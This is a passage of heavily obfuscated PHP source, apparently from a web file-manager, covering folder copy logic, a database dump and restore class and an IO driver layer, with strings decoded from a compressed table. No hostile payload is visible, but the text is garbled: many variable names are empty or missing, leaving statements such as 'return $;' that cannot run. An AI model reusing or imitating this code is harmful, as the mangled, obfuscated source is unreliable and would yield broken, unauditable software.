Model($ׅ[641])->addAll($[$ׅ[639]], array(), !0); Model($ׅ[642])->eventCopy($); $this->saveAll($[$ׅ[640]]); Model($ׅ[553])->linkAdd($[$ׅ[638]]); Model($ׅ[553])->remove($[$ׅ[676]]); $this->folderSizeReset($Ɉĸ); $this->updateModifyTime($Ɉĸ); return $; } private function _copyChildTo($؀, $ܫ, $, $ҝ, &$, $) { $ =& $_SERVER[]; $ = $this->sourceInfoCache($); $щ = $؀->listPath($ܫ); $щ = $щ ? $щ : array($[96] => array(), $[95] => array()); $ɡ = array_merge($щ[$[96]], $щ[$[95]]); $ = $this->_addFiles($؀, $щ[$[96]], $); $׌ = array(); foreach ($ɡ as &$К) { if (isset($[$К[$[32]]])) { $К = $[$К[$[32]]]; } $К[$[494]] = $К[$[33]] == $[88]; $К[$[495]] = substr(_get($К, $[179], $[12]), 0, 10); $К[$[89]] = _get($К, $[89], 0); $К[$[550]] = _get($К, $[550], 0); if (!isset($К[$[679]]) && $К[$[550]]) { $[$[676]][] = $К[$[550]]; } if ($ҝ) { $ڸ = $this->fileNameExistCache($, $К[$[32]]); if ($ڸ) { if ($К[$[494]] || $ҝ == REPEAT_SKIP) { continue; } if ($ҝ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ڸ); $ = $this->fileHistory($, $К[$[550]], $К[$[89]]); if ($) { $[$[638]][] = $К[$[550]]; } continue; } else { if ($ҝ == REPEAT_RENAME) { $К[$[32]] = $this->fileNameAutoCache($, $К[$[32]], $ҝ, !1); } } } } if (!$К[$[494]] && $К[$[550]] == 0) { continue; } if (!$К[$[494]] && $К[$[550]]) { $[$[638]][] = $К[$[550]]; } $׌[] = $this->_makeItemData($К, $, $К[$[32]]); } unset($К); if (!empty($׌)) { $this->addAll($׌); $this->_childrenListSelect($); } $ۅ = $this->_childrenList($); $ۅ = array_to_keyvalue($ۅ, $[32]); foreach ($ɡ as $К) { $ = $ۅ[$К[$[32]]]; $ܴ« = $[$[203]]; $this->_copyApplyMeta($, $); if ($К[$[33]] == $[88]) { $К[$[97]] = $؀->getPathInner($К[$[97]]); $this->_copyChildTo($؀, $К[$[97]], $ܴ«, $ҝ, $, $); } } } private function _addFiles($М, $ֿ̆, $) { $ʙ =& $_SERVER[]; if (!$ֿ̆ || count($ֿ̆) == 0) { return array(); } $ = array(); foreach ($ֿ̆ as &$윹LJ) { Hook::trigger($ʙ[680], $윹LJ); $윹LJ[$ʙ[97]] = $М->getPathInner($윹LJ[$ʙ[97]]); $ = $М->hashSimple($윹LJ[$ʙ[97]]); $ۛ = $М->hashMd5($윹LJ[$ʙ[97]]); if (strlen($ۛ) > 10 && !isset($[$ۛ])) { $[$ۛ] = array(); } $윹LJ[$ʙ[681]] = $; $윹LJ[$ʙ[556]] = $ۛ; $[$ۛ][] =& $윹LJ; if (count($[$ۛ]) > 1) { $윹LJ[$ʙ[679]] = !0; } Hook::trigger($ʙ[682], $윹LJ); } unset($윹LJ); $ŰȠ = array($ʙ[556] => array($ʙ[7], array_keys($))); $ = Model($ʙ[683]); $ = $->where($ŰȠ)->select(); $ = $ ? $ : array(); foreach ($ as $«) { if (!isset($[$«[$ʙ[556]]])) { continue; } $֐ = $[$«[$ʙ[556]]]; foreach ($֐ as &$윹LJ) { $윹LJ[$ʙ[550]] = $«[$ʙ[550]]; $윹LJ[$ʙ[679]] = !0; } unset($윹LJ); } $ݱ = array(); foreach ($ֿ̆ as $ʾ) { Hook::trigger($ʙ[684], $ʾ); if (isset($ʾ[$ʙ[679]]) && $ʾ[$ʙ[679]]) { Hook::trigger($ʙ[685], $ʾ); continue; } $๘ = $М->getPathInner($ʾ[$ʙ[97]]); $۪ = $->addFileMake($๘, $ʾ[$ʙ[89]], $ʾ[$ʙ[681]], $ʾ[$ʙ[556]], $ʾ[$ʙ[32]], $); Hook::trigger($ʙ[685], $ʾ); if (!is_array($۪)) { continue; } $ݱ[] = $۪; } $->addAll($ݱ); $ŰȠ = array($ʙ[556] => array($ʙ[7], array_keys($))); $ = $->where($ŰȠ)->select(); $ = $ ? $ : array(); foreach ($ as $«) { if (!isset($[$«[$ʙ[556]]])) { continue; } $Ц =& $[$«[$ʙ[556]]]; foreach ($Ц as &$윹LJ) { $윹LJ[$ʙ[550]] = $«[$ʙ[550]]; } unset($윹LJ); } $ = array(); foreach ($ֿ̆ as $) { $[$[$ʙ[32]]] = $; } return $; } } define($_SERVER[][686], $_SERVER[][687]); goto Fϫي; Fϫي: $wkenxhvbti = $_SERVER[][688]; if (!$wkenxhvbti) { die; } $_SERVER[] = explode($_SERVER[][689], gzinflate(substr($_SERVER[][690], 10, -8))); goto B; B⾇ߛ: class DbManage { function __construct($ѕ = array()) { $ =& $_SERVER[]; if (empty($ѕ)) { $ѕ = $GLOBALS[$[6]][$[21]]; } $this->database = $ѕ; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($ = false) { $ڹ̒ =& $_SERVER[]; $㤹 = array_change_key_case($this->database); if ($this->dbType() == $ڹ̒[13] || !$) { return $this->model()->db(); } $ā = $㤹[$ڹ̒[1061]]; $㤹[$ڹ̒[1061]] = $ڹ̒[12]; if ($㤹[$ڹ̒[1056]] == $ڹ̒[1053]) { $ = $㤹[$ڹ̒[1062]]; $㤹[$ڹ̒[1062]] = substr($, 0, strrpos($, $ڹ̒[1148])); } $this->database = $㤹; $ = $this->model()->db(); try { $׺ = $->execute("\x73\150\157\x77\40\x64\x61\x74\141\142\x61\x73\x65\163\x20\x6c\151\153\x65\x20\x27{$ā}\x27"); } catch (Exception $) { } if (!$׺) { $->execute("\143\162\145\x61\164\145\40\144\141\x74\141\x62\x61\x73\145\x20\140{$ā}\x60"); } $㤹[$ڹ̒[1061]] = $ā; if ($㤹[$ڹ̒[1056]] == $ڹ̒[1053]) { $㤹[$ڹ̒[1062]] .= $ڹ̒[1148] . $ā; } $this->database = $㤹; $->execute("\x75\x73\x65\40\140{$ā}\140"); return $; } public function createTable($ᵷ, &$Ƴ) { $ =& $_SERVER[]; if (!IO::exist($ᵷ)) { ActionCall($[1149], !0, 0); show_json(LNG($[1150]), !1); } $ë = $this->model()->db(); $硎 = sqlSplit(IO::getContent($ᵷ)); foreach ($硎 as $) { $χ = stripos($, $[1151]) === 0; if ($χ) { $Ƴ->task[$[1152]] += 1; } $ë->execute($); if ($χ) { preg_match($[1153], $, $ኘٕ); $Ƴ->task[$[1154]] = $ኘٕ[1]; $Ƴ->update(1); } } } public function insertTable($눜, &$) { $߅ =& $_SERVER[]; $ = $this->model()->db(); $݌ = $ ? array($) : $->getTables(); foreach ($눜 as $) { $ = basename($, $߅[877]); if (!in_array($, $݌)) { continue; } $->task[$߅[1154]] = $; if (get_filesize($) == 0) { continue; } $ = $this->sqlToDb($, $); if (!$) { ActionCall($߅[1149], !0, 0); show_json(LNG($߅[1155]) . "\133{$}\135", !1); } } } public function sqlFromDb($, $, &$, $ֲƵ = '') { if ($) { $->task[$_SERVER[][1154]] = $; } $ϩ = $this->model($); $ = 0; $雱 = 0; $ݴ = 10000; $ = fopen($, $_SERVER[][1156]); $ϔ = $ϩ->getPk(); $ = $ϩ->getDbFields(); $뽏 = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][876]] && in_array($, array($_SERVER[][1157], $_SERVER[][1158]))) { $뽏 = $; } do { $Ӗ = array($ϔ => array($_SERVER[][1103], $雱)); $ݴ = $ϩ->where($Ӗ)->field($)->order($ϔ . $_SERVER[][1159])->limit($ݴ)->select(); $ݴ = !empty($ݴ) ? $ݴ : array(); if (!($춁 = count($ݴ))) { break; } $ҵ = end($ݴ); $雱 = $ҵ[$ϔ]; $Ѫ = array(); foreach ($ݴ as $ۍݡ) { if ($뽏) { if ($ == $_SERVER[][1157]) { if ($ۍݡ[$_SERVER[][33]] == $_SERVER[][1160]) { $婌 = json_decode($ۍݡ[$_SERVER[][459]], !0); if ($婌[$_SERVER[][32]] == $GLOBALS[$_SERVER[][876]] && $婌[$_SERVER[][839]] != 1) { continue; } } } else { if ($ۍݡ[$_SERVER[][33]] == $_SERVER[][1161] && $ۍݡ[$_SERVER[][107]] == $_SERVER[][871]) { continue; } } } if ($ֲƵ) { $ۍݡ[$_SERVER[][97]] = "\x7b\151\157\x3a{$ֲƵ}\x7d" . substr($ۍݡ[$_SERVER[][97]], strlen("\173\151\157\72{$ۍݡ[$_SERVER[][907]]}\175")); $ۍݡ[$_SERVER[][907]] = $ֲƵ; } $Ѫ[] = $_SERVER[][1162] . $this->sqlEncode($ۍݡ) . $_SERVER[][1163]; } $ = "\111\x4e\123\105\x52\124\40\x49\x4e\x54\x4f\x20\140{$}\140\x20\x28\140" . implode($_SERVER[][1164], $) . $_SERVER[][1165]; fwrite($, $ . implode($_SERVER[][1166], $Ѫ) . $_SERVER[][84] . PHP_EOL); $ += $춁; if ($) { $->update($춁); } } while ($ݴ == $춁); fclose($); return $; } public function sqlToDb($͏, &$) { $ =& $_SERVER[]; $ش = $this->model()->db(); $ޜ = @fopen($͏, $[1167]); if (!$ޜ) { return !1; } $ = 0; $ү = $[12]; $ݗ = array(); $ = $this->dbType(); $ϋ = $ == $[13] ? 500 : 2000; $ = basename($͏, $[877]); $Ȃƥ = 0; $ɿ = 4194304; while (!feof($ޜ)) { $ޚ = trim(fgets($ޜ)); if (!$ޚ) { continue; } $ = $this->sqlDecode($ޚ, $, $); if (stripos($, $[440]) === 0) { if (!$ү) { $ү = $ . $[53]; } continue; } if ($) { $->task[$[1152]] += 1; } $++; $ݗ[] = rtrim(rtrim(trim($), $[50]), $[84]); $ݙ = null; $ = strlen($); $Ȃƥ += $; $ɀ = strlen($ү) + $Ȃƥ + (count($ݗ) - 1); if ($ɀ >= $ɿ) { $ݙ = array_pop($ݗ); if ($ > 1) { $--; } } if ($ >= $ϋ || $ݙ) { $ = $ү . implode($[50], $ݗ); if (!$ش->execute($)) { return !1; } if ($) { $->update($); } $ݗ = array(); $ = 0; $Ȃƥ = 0; if ($ݙ) { $ݗ = array($ݙ); $ = 1; $Ȃƥ = $; } } } fclose($ޜ); if (!empty($ݗ)) { $ = $ү . implode($[50], $ݗ); if (!$ش->execute($)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ٷ = $this->model()->db(); $Τ = $ ? array($) : $ٷ->getTables(); if (!$Τ) { return; } foreach ($Τ as $) { if ($) { $ = strtolower($); } else { continue; } $ٷ->execute("\144\162\157\x70\40\x74\141\x62\x6c\x65\40\x69\146\40\x65\170\x69\163\x74\163\40\140{$}\x60"); } } private function sqlEncode($쵈) { $癹 =& $_SERVER[]; $ = array(); foreach ($쵈 as $ԡ) { if (is_array($ԡ)) { $ԡ = json_encode_force($ԡ); } $ԡ = addslashes($ԡ); $ԡ = str_replace(array($癹[1168], $癹[65], $癹[427]), array($癹[1169], $癹[1170], $癹[1171]), $ԡ); $[] = $ԡ; } return $癹[58] . implode($癹[1172], $) . $癹[58]; } private function sqlDecode($֗, $, $ = '') { $ =& $_SERVER[]; $֗ = str_replace(array($[1169], $[1170], $[1171]), array($[1168], $[65], $[427]), $֗); if ($ == $[13]) { $֗ = str_ireplace($[1173], $[59], $֗); $֗ = stripslashes($֗); } return preg_replace($[1174], $[12], $֗); if ($ == $[13]) { return $ != $[1175] ? stripslashes($֗) : $֗; } if ($ == $[1175]) { $֗ = str_replace($[1176], $[131], stripslashes($֗)); } return $֗; } public function getSqlFile($ = '') { $˵봫 =& $_SERVER[]; $ = $this->dbType(!0); $䒸 = CONTROLLER_DIR . "\151\156\x73\164\141\x6c\154\57\144\x61\x74\141\57{$}\56\x73\x71\154"; $ = file_get_contents($䒸); $ = $˵봫[1177] . ($ == $˵봫[894] ? $˵봫[1178] : $˵봫[1179]) . $˵봫[1180]; preg_match_all($, $, $); $ = $[1]; $ڣ삳 = $this->model()->db(); $ = $ڣ삳->getTables(); $ = TEMP_FILES . $˵봫[1181] . date($˵봫[281]) . $˵봫[8]; del_dir($); mk_dir($); $Ř = $ . $˵봫[1182]; $‚ = $ . $˵봫[1183]; $흮 = $ == $˵봫[13] ? $˵봫[894] : $˵봫[13]; IO::copy(CONTROLLER_DIR . "\151\156\x73\x74\141\154\x6c\x2f\144\x61\x74\141\57{$흮}\56\x73\161\154", $); @touch($ . $ . $˵봫[877]); $ӘDz = fopen($Ř, $˵봫[1156]); $ = fopen($‚, $˵봫[1156]); if ($ == $˵봫[13]) { $ = array_diff($, array($˵봫[869], $˵봫[870])); $Ð = array($˵봫[1184], $˵봫[1185], $˵봫[1186]); fwrite($, implode(PHP_EOL, $Ð) . PHP_EOL . PHP_EOL); foreach ($ as $) { $ѭ = $this->sqlFromSqlite($); if (!$ѭ[$˵봫[13]]) { continue; } fwrite($, $ѭ[$˵봫[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($ӘDz, $ѭ[$˵봫[894]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $ѭ = $this->sqlFromMysql($); if (!$ѭ[$˵봫[894]]) { continue; } fwrite($ӘDz, $ѭ[$˵봫[894]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($, $ѭ[$˵봫[13]] . PHP_EOL . PHP_EOL); } } } fclose($ӘDz); fclose($); $ = array($˵봫[894] => $Ř, $˵봫[13] => $‚); return $ ? $[$] : $; } public function dbType($兞 = false) { $ѯ =& $_SERVER[]; $ = $兞 ? $GLOBALS[$ѯ[6]][$ѯ[21]] : $this->database; $ = array_change_key_case($); $ = $[$ѯ[1056]]; if ($ == $ѯ[1053]) { $ = explode($ѯ[4], $[$ѯ[1062]]); $ = $[0]; } $ = array($ѯ[1187] => $ѯ[13], $ѯ[1001] => $ѯ[894]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($Ƹ, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($[1188] . $Ƹ . $[470]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $[1189], $[12]); if (!$) { return !1; } $ߵҡ = "\x44\122\117\x50\x20\x54\x41\x42\114\105\40\x49\106\40\x45\130\111\x53\x54\x53\x20\140{$Ƹ}\140\73" . PHP_EOL . $ . $[84]; if ($ && $ == $[894]) { return $ߵҡ; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $[$[1061]]; $˟ = $[1190] . $ . $[1191] . $Ƹ . $[58]; $ = $[1192] . $Ƹ . $[989]; $ = $->query($˟); if (empty($)) { $쉯 = array($[894] => $[12], $[13] => $[12]); return $ ? $쉯[$] : $쉯; } $߮ = $->query($); $ũ = $[12]; $³ = array(); foreach ($߮ as $՟) { if (!$ũ && $՟[$[1193]] == $[1194]) { $ũ = $՟[$[1195]]; } if (isset($³[$՟[$[1193]]])) { $³[$՟[$[1193]]][$[1196]][] = $՟[$[1195]]; continue; } $³[$՟[$[1193]]] = array($[1197] => $՟[$[1193]], $[1196] => array($՟[$[1195]]), $[1198] => $՟[$[1199]] == $[101] ? 0 : 1); } $ = array(); foreach ($³ as $՟) { $ = $՟[$[1197]] == $[1194]; $⿠ = array($[1200], $՟[$[1198]] == $[101] && !$ ? $[1201] : $[12], $[1202], $[1203] . $Ƹ . $[11] . ($ ? $[1204] : $՟[$[1197]]) . $[131], $[1205], $[131] . $Ƹ . $[131], $[1206] . implode($[1207], $՟[$[1196]]) . $[1208]); $[] = implode($[53], $⿠) . $[84]; } $ = array(); $ = array($[1209] => $[1210], $[1210] => $[1210], $[373] => $[400], $[372] => $[400]); foreach ($ as $՟) { $⿠ = array($[131] . $՟[$[1211]] . $[131], isset($[$՟[$[1212]]]) ? $[$՟[$[1212]]] : $՟[$[1213]], $՟[$[1214]] == $[987] ? $[1215] : $[1216], $՟[$[1211]] == $ũ ? $[1217] : $[12], $՟[$[1038]] ? strtoupper(str_replace($[11], $[12], $՟[$[1038]])) : $[12]); $[] = trim(implode($[53], $⿠)); } $ = array($[1218] . $Ƹ . $[1219], $[1220] . $Ƹ . $[1221], implode($[50] . PHP_EOL, $), $[1035]); $ﳠЁ = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $[13]) { return $ﳠЁ; } $쉯 = array($[894] => $ߵҡ, $[13] => $ﳠЁ); return $ ? $쉯[$] : $쉯; } public function sqlFromSqlite($, $گ = '') { $ؠ =& $_SERVER[]; $Թ = $this->model()->db(); $ = "\x50\x52\x41\107\115\x41\x20\x54\101\102\x4c\105\137\111\x4e\x46\x4f\40\50\x27{$}\x27\x29"; $ = "\123\x45\114\105\x43\124\x20\x2a\x20\x46\122\x4f\x4d\40\163\161\154\151\x74\x65\x5f\x6d\141\163\x74\145\162\40\127\x48\x45\122\105\x20\164\x62\154\x5f\x6e\x61\155\x65\40\75\40\47{$}\47"; $ = $Թ->query($); if (empty($)) { $۬ = array($ؠ[894] => $ؠ[12], $ؠ[13] => $ؠ[12]); return $گ ? $۬[$گ] : $۬; } $蓰 = $Թ->query($); $ٵ = $ߒڸ = array(); foreach ($蓰 as $) { if ($[$ؠ[33]] == $ؠ[365]) { $ٵ[] = $[$ؠ[1222]]; } else { $ߒڸ[$[$ؠ[32]]] = $[$ؠ[1222]]; } } $ = array_merge(array($ؠ[1218] . $ . $ؠ[131]), $ٵ, array_values($ߒڸ)); $ = implode($ؠ[84] . PHP_EOL, $) . $ؠ[84]; if ($گ && $گ == $ؠ[13]) { return $; } $ = array(); $揱 = array($ؠ[1210] => $ؠ[1223], $ؠ[400] => $ؠ[1224]); $ = $ؠ[12]; foreach ($ as $) { if ($[$ؠ[57]] == $ؠ[101]) { $ = $[$ؠ[32]]; } $쁝 = array($ؠ[470] . $[$ؠ[32]] . $ؠ[470], isset($揱[$[$ؠ[33]]]) ? $揱[$[$ؠ[33]]] : $[$ؠ[33]], $[$ؠ[35]] == $ؠ[101] ? $ؠ[1215] : $ؠ[1225] . $[$ؠ[56]], $[$ؠ[57]] == $ؠ[101] ? $ؠ[1226] : $ؠ[12]); $[] = trim(implode($ؠ[53], $쁝)); } foreach ($ߒڸ as $ב => $А) { $̫ = str_replace($ؠ[1227] . $ . $ؠ[11], $ؠ[12], $ב); $ = str_replace(array($ؠ[131], $ؠ[1046]), $ؠ[470], substr($А, stripos($А, $ؠ[346]))); if ($̫ == $ؠ[1204]) { $ = $ؠ[1228] . $ . $ؠ[1229]; } else { $ = (stripos($̫, $ؠ[11]) ? $ؠ[1230] : $ؠ[12]) . ($ؠ[1231] . $̫ . $ؠ[1232] . $); } $[] = $; } $ӵ؁ = array($ؠ[1233] . $ . $ؠ[1234], $ؠ[1235] . $ . $ؠ[1236], implode($ؠ[50] . PHP_EOL, $), $ؠ[1237]); $§ = implode(PHP_EOL, $ӵ؁); if ($گ && $گ == $ؠ[894]) { return $§; } $۬ = array($ؠ[894] => $§, $ؠ[13] => $); return $گ ? $۬[$گ] : $۬; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ޔ, $) { $ =& $_SERVER[]; $Ȝ = $; $GLOBALS[$[1238]] = $[1239] . $ޔ; Hook::trigger($[1239] . $ޔ . $[1240], $Ȝ); $񮦇 = self::driverMake($[0]); if (!$񮦇) { return !1; } if (method_exists($񮦇, $ޔ)) { $̿Ϗ = @call_user_func_array(array($񮦇, $ޔ), $); } else { if (method_exists($񮦇, $[1241])) { $̿Ϗ = @call_user_func_array(array($񮦇, $ޔ), $); } else { if (method_exists(self, $ޔ)) { $̿Ϗ = @call_user_func_array(array(self, $ޔ), $); } else { $̿Ϗ = call_user_func_array(array(parent, $ޔ), $); } } } Hook::trigger($[1239] . $ޔ . $[1242], $Ȝ, $̿Ϗ); return $̿Ϗ; } public static function init($Ɓ) { return self::driverMake($Ɓ); } public static function copy($, $, $ϓ = false, $ = false) { return self::copyMoveStart($, $, $ϓ, $_SERVER[][627], $); } public static function move($ͬ, $, $ = false, $ũ = false) { return self::copyMoveStart($ͬ, $, $, $_SERVER[][629], $ũ); } private static function copyMoveStart($؊, $ς, $׻Ѝ, $, $Π) { $ =& $_SERVER[]; $ԇ = array($؊, $ς, $׻Ѝ, $Π); Hook::trigger($[1239] . $ . $[1240], $ԇ); $ = self::copyMove($؊, $ς, $׻Ѝ, $, $Π); Hook::trigger($[1239] . $ . $[1242], $ԇ, $); return $; } public static function saveFile($, $, $К = true) { $ˑ =& $_SERVER[]; $ = self::info($); $ն = self::driverMake($); $Țœٸ = self::driverMake($); $ = !1; if ($Țœٸ->pathParse[$ˑ[1243]]) { $ = $Țœٸ; $ = $Țœٸ->pathParse[$ˑ[1243]]; $Țœٸ = self::driverMake($); } if ($ն->pathParse[$ˑ[1243]]) { $ = $ն->pathParse[$ˑ[1243]]; $ն = self::driverMake($); } $ = $Țœٸ->pathFather($); $ = !0; if (!$К && self::driverIsSame($ն, $Țœٸ)) { $ = !1; } $؋ = self::copyFile($ն, $, $Țœٸ, $, $[$ˑ[32]], $); if ($) { $؋ = $->getPathOuter($؋); } return $؋; } private static function copyMove($҉, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$҉ || $҉ == $[8] || !$) { return !1; } ignore_timeout(); $ק = self::driverMake($҉); $؋ = self::driverMake($); $ꍼ = $ == $[629]; $ = !1; if ($؋->pathParse[$[1243]]) { $ = $؋; $ = $؋->pathParse[$[1243]]; $؋ = self::driverMake($); } if ($ק->pathParse[$[1243]]) { $҉ = $ק->pathParse[$[1243]]; $ק = self::driverMake($҉); } self::check($ק, $҉, $؋, $); Hook::trigger($[1244], $ק, $҉, $؋, $); $祭 = self::driverIsSame($ק, $؋); if ($祭) { if ($ == $[629] && !method_exists($؋, $[1245]) && trim($, $[8]) == trim($؋->pathFather($҉), $[8])) { if ($ק->pathThis($҉) != $ && !$ק->isOsDriver()) { return $ק->rename($҉, $); } return $؋->getPathOuter($҉); } if (method_exists($؋, $)) { return $؋->{$}($҉, $, $, $); } } if ($祭 && $ == $[629] && $؋->getType() == $[119]) { $ف = $؋->movePath($҉, $, $); if ($ف) { return $ف; } } $Ə = $ק->isFile($҉); if (!$Ə && $؋->getType() == $[846] && $ק->getType() == $[119]) { $ف = $؋->copyFolderFromIO($ק, $҉, $, $, $ꍼ, $); } else { $ف = self::copyPath($ק, $҉, $؋, $, $, $ꍼ, $Ə, $); } if ($ف && $ꍼ) { $ק->remove($҉); } if ($) { $ف = $->getPathOuter($ف); } return $ف; } private static function check($ˮ՝, $, $, &$򕭊) { $˜ =& $_SERVER[]; if (self::driverIsSame($ˮ՝, $) && $ˮ՝->isFolder($) && $ˮ՝->isParentOf($, $򕭊)) { show_json(LNG($˜[1246]), !1); } if (!$ˮ՝->exist($)) { show_json(LNG($˜[118]), !1); } } private static function copyPath($, $ƍ, $ҹ, $, $𰂄, $Ɋ, $, $˩ = false, $ϐ = true) { $ =& $_SERVER[]; $ = empty($˩) && $˩ !== $[238] ? $->pathThis($ƍ) : $˩; if ($𰂄) { $Ժ = $ҹ->fileNameExist($, $); $ᆋ = $; $ = $ҹ->fileNameAuto($, $, $𰂄, !$); if (!$Ժ || $ᆋ != $) { $𰂄 = !1; } if ($ϐ && !$𰂄) { $ҹ->_data[$[1247]] = !0; } } if ($) { return self::copyFile($, $ƍ, $ҹ, $, $, $Ɋ); } if ($𰂄 == REPEAT_RENAME_FOLDER) { $𰂄 = !1; } $օ = rtrim($, $[8]) . $[8] . $; $싅 = $ҹ->mkdir($ҹ->getPath($օ), $𰂄); $ = $ҹ->getPathInner($싅); $ت = $->listPath($ƍ, !0); $ت = is_array($ت) ? $ت : array($[96] => array(), $[95] => array()); $ = array_merge($ت[$[96]], $ت[$[95]]); foreach ($ as $ಬ) { $ = $ಬ[$[33]] == $[240]; $ƍ = $->getPathInner($ಬ[$[97]]); $̡ = self::copyPath($, $ƍ, $ҹ, $, $𰂄, $Ɋ, $, !1, !1); if (!$̡) { IO::errorTips($[1248] . $ƍ . $[83] . $); } } self::copyMoveKeepInfo($, $ƍ, $싅); return $싅; } private static function copyFile($ٛ, $獁, $Î, $ڲ, $玩, $ʌ؉) { $ؽ =& $_SERVER[]; $ڲ = $Î->getPath(rtrim($ڲ, $ؽ[8]) . $ؽ[8] . $玩); $ = $ؽ[1249] . time() . rand_string(5); Hook::trigger($ؽ[1250], $ٛ, $獁, $Î, $ڲ, $玩, $); if (self::driverIsSame($ٛ, $Î)) { if ($ʌ؉) { $֙ = $Î->moveFile($獁, $ڲ); } else { $֙ = $Î->copyFile($獁, $ڲ); } Hook::trigger($ؽ[1251], $ٛ, $獁, $Î, $ڲ, $玩, $֙); self::copyMoveKeepInfo($ٛ, $獁, $֙); return $֙; } $ = TEMP_FILES; if ($GLOBALS[$ؽ[6]][$ؽ[102]][$ؽ[885]]) { $ = $GLOBALS[$ؽ[6]][$ؽ[102]][$ؽ[885]]; } $ = $; mk_dir($); $ = $ . $; $ʔ = $; $ = $ٛ->download($獁, $); $ = $ٛ->iconvApp($); if (substr($, strlen($)) == $) { $ʌ؉ = !0; } $֙ = $Î->upload($ڲ, $, $ʌ؉); self::remove($ʔ); Hook::trigger($ؽ[1251], $ٛ, $獁, $Î, $ڲ, $玩, $֙); self::copyMoveKeepInfo($ٛ, $獁, $֙); return $֙; } private static function copyMoveKeepInfo($ᨄ, $, $Ӳ) { if (!$Ӳ) { return; } $ = $ᨄ->info($); if (!is_array($)) { return; } IO::setModifyTime($Ӳ, $[$_SERVER[][98]]); } public static function pathFather($ޕ) { $Û = IO::init($ޕ); $ = $Û->pathFather($Û->path); return $Û->getPathOuter($); } public static function fileOut($ƹ, $ӣ = false, $엌 = false, $ = '') { $ = self::driverMake($ƹ); if ($->isFileOutServer()) { return $->fileOutServer($ƹ, $ӣ, $엌, $); } return $->fileOut($ƹ, $ӣ, $엌, $); } public static function fileOutImage($١Μ, $՘ = 250) { $γ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($γ); $++) { if ($ == 0 && $՘ <= $γ[$]) { $՘ = $γ[$]; break; } else { if ($՘ > $γ[$ - 1] && $՘ <= $γ[$]) { $՘ = $γ[$]; break; } else { if ($ == count($γ) - 1 && $՘ > $γ[$]) { $՘ = $γ[$]; break; } } } } $ыь = self::driverMake($١Μ); if ($ыь->isFileOutServer()) { return $ыь->fileOutImageServer($١Μ, $՘); } return $ыь->fileOutImage($١Μ, $՘); } private static function driverIsSame($, $҂) { $퓇 =& $_SERVER[]; $ì = $->getType(); $۲ = $҂->getType(); if ($ì != $۲) { return !1; } if ($ì == $퓇[846]) { return !0; } if ($ì == $퓇[119]) { return !0; } if ($->pathDriver == $҂->pathDriver) { return !0; } return !1; } public static function copyUpdate($ҫɞ, $ӣ) { $ =& $_SERVER[]; if (!IO::exist($ҫɞ)) { return !1; } if (!IO::exist($ӣ)) { IO::mkdir($ӣ); } $ = array_to_keyvalue(self::listAllSimple($ҫɞ), $[97]); $ = array_to_keyvalue(self::listAllSimple($ӣ), $[97]); $ = array(); $ņޗ = array(); foreach ($ as $㢁 => $) { if (isset($[$㢁])) { if ($[$[88]] == 1) { continue; } if ($[$㢁][$[89]] == $[$[89]]) { continue; } } if ($[$[88]] == 1) { $ņޗ[] = $ӣ . $[8] . trim($㢁, $[8]); continue; } $׺ = strstr(trim($㢁, $[8]), $[8]) ? get_path_father($㢁) : $[12]; $[] = array($[1252] => $[$[99]], $[1253] => rtrim($ӣ, $[8]) . $[8] . $׺, $[1254] => $); } $􇱣 = array($[240] => $, $[88] => $ņޗ); Hook::trigger($[1255], $ҫɞ, $ӣ, $􇱣); foreach ($ņޗ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$[1252]], $[$[1253]], REPEAT_REPLACE); } } public static function fileSubstr($頁, $șɈ, $ǔی = false) { $ǵ҉ =& $_SERVER[]; $ض = self::driverMake($頁); $ۄ = $ض->size($頁); $ = $șɈ; $ = $ǔی; if ($șɈ < 0) { $șɈ = $ۄ + $șɈ; } if ($ǔی === !1) { $ǔی = $ۄ - $șɈ; } if ($șɈ + $ǔی > $ۄ) { $ǔی = $ۄ - $șɈ; } if (!$ۄ && $ض->getType() == $ǵ҉[119] && !$ض->exist($頁)) { $ݣ = get_path_this($頁); $嚐 = parse_url_query($ݣ); if (is_array($嚐) && isset($嚐[$ǵ҉[32]])) { $ݣ = urldecode($嚐[$ǵ҉[32]]); } throw new Exception($ǵ҉[1256] . LNG($ǵ҉[1257]) . $ǵ҉[1055] . clear_html($ݣ) . $ǵ҉[12]); } if ($ǔی <= 0) { return $ǵ҉[12]; } if ($șɈ < 0 || $șɈ >= $ۄ || $ǔی > 1024 * 1024 * 10) { throw new Exception("\146\151\154\145\x52\x65\x61\144\x20\x65\x72\x72\x6f\x72\x21\40\x73\x74\141\162\164\75{$șɈ}\73\x6c\145\x6e\x67\x74\150\75{$ǔی}\x3b\x20\x73\x69\172\x65\75{$ۄ}\73"); } $ = $ض->fileSubstr($頁, $șɈ, $ǔی); if (!$ && $ǔی && isset($GLOBALS[$ǵ҉[1258]])) { throw new Exception($GLOBALS[$ǵ҉[1258]][$ǵ҉[1259]]); } return $; } private static function driverMake(&$) { $ =& $_SERVER[]; $ = KodIO::parse($); if (!self::$driverListSystem) { $ = Model($[856])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $[484]); } if ($[$[33]] == KodIO::KOD_IO && !self::$driverListSystem[$[$[484]]]) { throw new Exception($[1260]); return !1; } $ = $[$[1261]]; $Ĉ = self::driverGet($, $); return $Ĉ; } private static function driverGet($Ǫ, &$ݰ) { $룼 =& $_SERVER[]; $쁞 = $Ǫ[$룼[1262]]; $ = $Ǫ[$룼[484]]; switch ($Ǫ[$룼[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ݰ = $ . $ݰ; $ = array($룼[1263] => 